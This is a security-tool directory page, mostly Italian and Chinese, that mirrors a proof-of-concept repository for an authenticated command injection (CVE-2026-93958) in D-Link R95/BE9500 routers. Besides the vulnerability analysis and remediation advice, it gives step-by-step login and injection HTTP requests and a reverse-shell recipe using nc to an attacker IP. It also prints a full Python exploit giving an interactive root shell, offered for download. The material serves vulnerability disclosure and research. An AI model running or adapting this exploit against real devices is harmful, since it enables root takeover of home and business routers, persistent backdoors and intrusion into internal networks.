Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-93958 — PoC di command injection autenticato per D-Link R95/BE9500 DHMAPI SetTimeSettings, che consente RCE come root tramite backtick injection su NTPServer, con script di exploit completo. | Kitploit
Strumenti/GitHubGitHub/hackspeak/cve-2026-93958
Sicurezza Sistemi EmbeddedSicurezza IoTAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitPenetration TestingCommand and ControlSicurezza Hardware e IoTPaper e Ricerca
GitHub
151 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
hackspeak/cve-2026-93958

CVE-2026-93958

PoC di command injection autenticato per D-Link R95/BE9500 DHMAPI SetTimeSettings, che consente RCE come root tramite backtick injection su NTPServer, con script di exploit completo.

Vedi Repository

D-Link R95 BE9500 Wi-Fi 7 Smart Router

  • Vendor:D-Link
  • Product:R95
  • Product Model:BE9500
  • Firmware Version:1.01B06
  • Vulnerability Type:Authenticated Command Injection

Description

Il D-Link R95 BE9500 Wi-Fi 7 Smart Router (versione firmware BE9500_1.00.16) contiene una vulnerabilità di command injection nell'interfaccia DHMAPI (SOAP over HTTPS) durante l'elaborazione delle richieste SetTimeSettings. Il campo <NTPServer> controllato dall'utente viene memorizzato nel database di configurazione senza alcuna sanitizzazione o validazione dei metacaratteri della shell. Successivamente, quando la configurazione viene sincronizzata con UCI (ntpclient.@ntpserver[0].hostname), il servizio backend vulnerabile costruisce ed esegue un comando shell racchiuso tra doppi apici tramite una chiamata di tipo system(). Iniettando backtick (```) nel valore di <NTPServer>, un attaccante può ottenere una command substitution — la shell valuta il contenuto iniettato prima di eseguire il comando concatenato, consentendo l'esecuzione arbitraria di comandi con privilegi root (uid=0).

L'attacco richiede una sessione valida di gestione web (sid) ottenuta tramite accesso autenticato (testato con l'account amministratore Admin). Questa vulnerabilità è ulteriormente amplificata dalle credenziali predefinite deboli del dispositivo o da potenziali problemi di bypass dell'autenticazione, espandendo significativamente la superficie d'attacco nel mondo reale.

Impact

Un attaccante autenticato può eseguire comandi arbitrari con privilegi root, portando alla compromissione completa del dispositivo — inclusa la lettura di file sensibili (ad es. il testo cifrato /etc/rg_config/admin, il dump completo dei backup di configurazione), l'installazione di backdoor persistenti, l'instaurazione di reverse shell e il pivoting nella rete interna per attacchi di movimento laterale.

Vulnerability Details

1. Affected Component and Root Cause

La vulnerabilità risiede nel binario backend di gestione web /bin/ssi (in esecuzione come root), che implementa l'interfaccia SOAP DHMAPI.

Taint source — l'handler SetTimeSettings (funzione all'offset 0x6bd84 in ssi, firmware 1.01B06):

  • Estrae il campo <NTPServer> dalla richiesta SOAP in un buffer dello stack, con lunghezza limitata a 0x3f (63 byte) — questo è un limite di dimensione del buffer, non un controllo di sicurezza.
  • Memorizza il valore così com'è nella chiave di configurazione interna time.value.NTPServer tramite un setter interno — nessun filtraggio o escaping dei metacaratteri della shell viene eseguito in nessun punto.

Taint sink — sincronizzazione della configurazione verso UCI. ssi sincronizza i valori di configurazione concatenandoli in stringhe di comandi shell eseguite tramite chiamate di tipo system(). Le stringhe di formato incorporate trovate nel binario includono:

root@kitploit:~
uci set %s="%s" > /dev/null

Poiché il valore è racchiuso tra doppi apici, la shell esegue una command substitution sui backtick (`) / $() all'interno del valore prima di eseguire il comando concatenato. Dato che ssi viene eseguito come root, il comando iniettato viene eseguito con privilegi di root.

Le evidenze temporali confermano che la valutazione avviene in modo sincrono all'interno del percorso di gestione della richiesta: iniettando `sleep 10` si ritarda la risposta HTTP di ~10 secondi. Il valore avvelenato persiste inoltre in UCI (ntpclient.@ntpserver[0].hostname) e viene successivamente consumato senza apici da /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME), una lacuna di hardening secondaria.

Vincoli di sfruttamento (verificati):

2. Authentication Prerequisite (API-AUTH scheme)

Tutte le richieste DHMAPI devono contenere:

  • Cookie: uid=<session cookie> (dal login)
  • API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>
  • Header API-ACTION / SOAPAction corrispondenti all'azione SOAP, più User-Agent e Referer (UA/Referer mancanti producono HTTP 400/500)
  • ts è un timestamp in millisecondi; il dispositivo non valida la freschezza, quindi un valore fisso è riutilizzabile

Derivazione di privkey:

  1. Login / Action=request (firmato con la stringa di chiave statica withoutloginkey) restituisce Challenge, Cookie, PublicKey, SaltHash
  2. e = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (o la password in chiaro quando SaltHash è assente)
  3. privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))
  4. LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))
  5. Login / Action=login con quanto sopra restituisce <LoginResult>success</LoginResult>; le richieste successive usano Cookie: uid=<step-1 Cookie> firmato con

3. Proof of Concept

Step 1 — Login request (obtain Challenge/Cookie/PublicKey/SaltHash)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

image-20260823160929456

Step 2 — Login (establish session)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

Atteso: <LoginResult>success</LoginResult>.

image-20260823160951351

Step 3 — Command injection (write output to web root)

root@kitploit:~
POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

image-20260823161119324

Step 4 — Retrieve command output

root@kitploit:~
GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close

Corpo della risposta osservato:

root@kitploit:~
uid=0(root) gid=0(root)

image-20260823161234632

Alternative verification — time-based blind injection

root@kitploit:~
<NTPServer>`sleep 10`</NTPServer>

La risposta HTTP viene ritardata di ~10 secondi; un nome di server NTP benigno restituisce immediatamente.

Full exploitation — reverse shell

Il limite di 63 byte del campo viene aggirato scrivendo uno script in frammenti base64:

  1. Richieste SetTimeSettings ripetute, ciascuna che accoda un frammento: `echo -n <b64-fragment> >> /tmp/x`
  2. Decodifica: `base64 -d /tmp/x > /tmp/rs.rs`
  3. Contenuto di /tmp/rs.rs (notare gli spazi obbligatori attorno alle pipe per busybox ash): rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f
  4. Trigger: `sh /tmp/rs.rs`

Risultato: una shell root interattiva (~ #, BusyBox ash) viene ricevuta sul listener dell'attaccante.

EXP:

root@kitploit:~
#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py            interactive shell (commands run as root on the device)
#        python r95_exp.py "id"       run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests

HOST, PORT = "192.168.2.15", 18443             # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000"                            # timestamp freshness is not validated by the device
OUT = "/www/e"                                  # command output dropped into the web root

s = requests.Session(); s.verify = False
privkey = cookie = None

def auth(key, action):
    return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS

def post(action, inner, key=None, ck=None):
    body = ('<?xml version="1.0" encoding="utf-8"?>'
            '<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
            'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
            'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
            '<%s>%s</%s></soap:Body></soap:Envelope>' % (action, inner, action))
    h = {"API-ACTION": action, "API-AUTH": auth(key or privkey, action),
         "Content-Type": "text/xml; charset=utf-8", "User-Agent": "Mozilla/5.0",
         "Referer": BASE + "/info/Login.html"}
    if ck or cookie: h["Cookie"] = "uid=" + (ck or cookie)
    return s.post(BASE + "/DHMAPI/", data=body.encode(), headers=h, timeout=30)

def login():
    global privkey, cookie
    r = post("Login", "<Action>request</Action><Username>%s</Username>"
             "<LoginPassword></LoginPassword><Captcha></Captcha>" % USER, key="withoutloginkey")
    g = lambda t: (re.search("<%s>(.*?)</%s>" % (t, t), r.text) or [None, ""])[1]
    challenge, cookie, pubkey, salthash = g("Challenge"), g("Cookie"), g("PublicKey"), g("SaltHash")
    if not challenge:
        print("[!] login step 1 failed:", r.status_code, r.text[:200]); sys.exit(1)
    e = PASSWORD
    if salthash:
        e = base64.b64encode(hashlib.pbkdf2_hmac("sha256", PASSWORD.encode(),
                             salthash.encode(), 5000, dklen=32)).decode()
    privkey = hmac.new((pubkey + e).encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    lp = hmac.new(privkey.encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
    r2 = post("Login", "<Action>login</Action><Username>%s</Username>"
              "<LoginPassword>%s</LoginPassword><Captcha></Captcha>" % (USER, lp))
    if "success" not in r2.text.lower():
        print("[!] login failed:", r2.text[:200]); sys.exit(1)
    print("[+] login OK, cookie=%s" % cookie)

def inject(cmd):
    """Execute one shell command via the NTPServer backtick injection (no output channel)"""
    if "&" in cmd:
        print("[!] command must not contain '&'"); return False
    r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    if r.status_code == 401:
        print("[*] session expired, re-authenticating..."); login()
        r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
    return r.status_code == 200

def run(cmd):
    """Run a command and read back stdout. <=54 bytes: direct injection; longer: chunked base64"""
    cmd = cmd.strip()
    if not cmd: return
    direct = "%s>%s" % (cmd, OUT)
    if len(direct) <= 54:
        ok = inject(direct)
    else:
        b64 = base64.b64encode(cmd.encode()).decode()
        inject("rm -f /tmp/x")
        for i in range(0, len(b64), 40):
            if not inject("echo -n %s>>/tmp/x" % b64[i:i+40]):
                print("[!] fragment injection failed"); return
        inject("base64 -d /tmp/x>/tmp/x.sh")
        ok = inject("sh /tmp/x.sh>%s" % OUT)
    if not ok:
        print("[!] injection request failed"); return
    time.sleep(1)
    r = s.get(BASE + "/e", headers={"User-Agent": "Mozilla/5.0",
              "Referer": BASE + "/info/Login.html"}, timeout=15)
    out = r.text.rstrip("\n")
    print(out if out else "(no output)")

if __name__ == "__main__":
    login()
    if len(sys.argv) > 1:
        run(" ".join(sys.argv[1:])); sys.exit(0)
    print("[*] interactive mode - commands run as root on the device, 'exit' to quit")
    while True:
        try: c = input("r95# ")
        except (EOFError, KeyboardInterrupt): break
        if c.strip() in ("exit", "quit"): break
        run(c)

image-20260823161917864

4. Root Cause Summary

  1. ssi memorizza il campo NTPServer (e i campi affini nello stesso handler) nel database di configurazione senza alcuna sanitizzazione;
  2. La sincronizzazione della configurazione utilizza la concatenazione di stringhe shell in stile system() con il valore racchiuso tra doppi apici, causando la valutazione da parte della shell dei backtick / $() nel valore;
  3. ssi viene eseguito come root, quindi i comandi iniettati vengono eseguiti con il privilegio massimo.

Lo stesso schema di codice produce almeno 7 ulteriori punti di command injection autenticata in questo firmware (TZLocation, DeviceName, DDNS Hostname/Username, NickName del client e un'iniezione di secondo ordine tramite SetNetworkSettings), tutti verificati con esecuzione uid=0(root).

5. Remediation

  • Applicare una rigorosa validazione con whitelist ([A-Za-z0-9.-]) ai campi di input di tipo hostname prima della memorizzazione;
  • Sostituire la concatenazione di stringhe system() con l'API libuci (già collegata in ssi) o con chiamate della famiglia exec* senza shell;
  • Racchiudere tra apici la variabile $HOSTNAME in /bin/start_ntpclient.sh;
  • Eseguire il servizio di gestione web con privilegi ridotti;
  • Verificare e correggere uniformemente i punti di iniezione affini elencati sopra.

分发镜像说明(中文)

Questo repository è un mirror di distribuzione intermedio del PoC della vulnerabilità CVE-2026-93958 (D-Link R95 / BE9500 DHMAPI command injection) (l'analisi tecnica è nel report originale upstream D-Link R95 BE9500.md sopra). Il contenuto è un mirror del repository PoC pubblico upstream, fornito solo a scopo di archiviazione e distribuzione. Il PoC è destinato esclusivamente a ricerca sulla sicurezza, verifica di vulnerabilità e test autorizzati; non utilizzarlo su target non autorizzati.

漏洞简述 / Vulnerability Summary

  • CVE-2026-93958 / D-Link R95(BE9500)Wi-Fi 7 智能路由器
  • 受影响固件:BE9500_1.00.16 / 1.01B06 系列
  • 类型:OS 命令注入(CWE-77 / CWE-78)→ root 权限任意命令执行
  • CVSS 3.1:9.1(Critical);CVSS 4.0:8.5;CVSS 2.0:8.3
  • 攻击面:DHMAPI(SOAP over HTTPS)接口 SetTimeSettings 请求的 <NTPServer> 字段
  • 前置条件:需一个有效的 Web 管理会话(认证后)
  • 影响组件:以 root 运行的 Web 管理后端 /bin/ssi

核心原理:/bin/ssi 的 SetTimeSettings 处理函数(偏移 0x6bd84)把 <NTPServer> 字段(长度上限 0x3f=63 字节,但无任何 shell 元字符过滤)原样存入配置库;配置同步到 UCI 时,ssi 把值拼进 uci set %s="%s" > /dev/null 这类 shell 字符串并用 system() 执行——值被双引号包裹,shell 会对反引号 / $() 做命令替换,而 ssi 以 root 运行,故注入命令满权限执行。

目录结构 / Layout

root@kitploit:~
D-Link R95 BE9500.md   —— 上游完整技术分析(含 4 步复现、认证机制、EXP 源码、加固建议)
r95_exp.py             —— 从上游报告中提取的完整 Python EXP(requests 实现)
image-*.png            —— 上游报告附图(5 张)

环境与用法 / Requirements & Usage

  • 目标:未修复固件的 D-Link R95 / BE9500(实验室设备);需有效管理会话(管理员账号)
  • 依赖:Python 3 + requests
  • 用法:
root@kitploit:~
python r95_exp.py            # 交互式 root shell(命令在设备上以 root 执行)
python r95_exp.py "id"       # 执行单条命令

⚠️ 注意:注入字段长度上限约 63 字节,且命令不能含 &;EXP 对 ≤54 字节命令直接注入,更长的命令自动切 base64 分片写入 /tmp/x 再解码执行,输出写入 Web 根目录 /www/e 后经 HTTP 取回。

免责声明 / Disclaimer

本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限在设备上执行任意命令,请在可销毁的实验室环境中测试。

归属与许可 / Attribution & License

  • 上游 PoC 报告与 EXP 作者:FoundTL(公开漏洞研究仓库 FoundTL/D-Link-R95-BE9500)。
  • 分发仓库采用 MIT License(见 LICENSE)。

参考链接 / References

  • NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-93958
  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-93958
  • D-Link 官网:https://www.dlink.com/
Scarica lo strumento
VincoloRisultato verificato
Lunghezza del campo≤ 63 byte accettati; 60 byte OK, 80 byte rifiutati (HTTP 400)
Carattere &Non deve comparire (rompe la riga di comando concatenata)
Sintassi di iniezioneBacktick `cmd` verificati; $(cmd) ci si aspetta funzioni ugualmente
Contesto di esecuzioneuid=0(root) gid=0(root)
Canale di outputNessun echo diretto; reindirizzare alla web root (> /www/<file>) e recuperare tramite HTTP GET
privkey